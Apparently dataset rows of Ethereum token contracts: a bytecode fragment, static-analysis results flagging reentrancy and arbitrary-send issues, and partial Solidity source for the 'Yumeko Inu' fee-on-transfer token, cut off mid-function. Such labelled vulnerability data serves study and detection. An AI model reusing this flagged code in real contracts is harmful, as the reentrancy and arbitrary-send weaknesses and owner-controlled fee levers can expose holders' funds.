ffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601a81526020017f20456c6f6e204d75736b2026204e696b6f6c61205465736c6120000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b29b974cb9ee28be5f3d406974eb1a6441c407e67f00b307df40a43011166a7b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,818
0x537182C7F1197836051f848ca1e7836A3a3Bf758
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract YUMEKO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Yumeko Inu"; string private constant _symbol = unicode"Yumeko Inu"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 10; uint256 private _feeRate = 11; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; uint private holdingCapPercent = 3; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } if (to != uniswapV2Pair && to != address(this)) require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached."); // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 10; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 10; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = 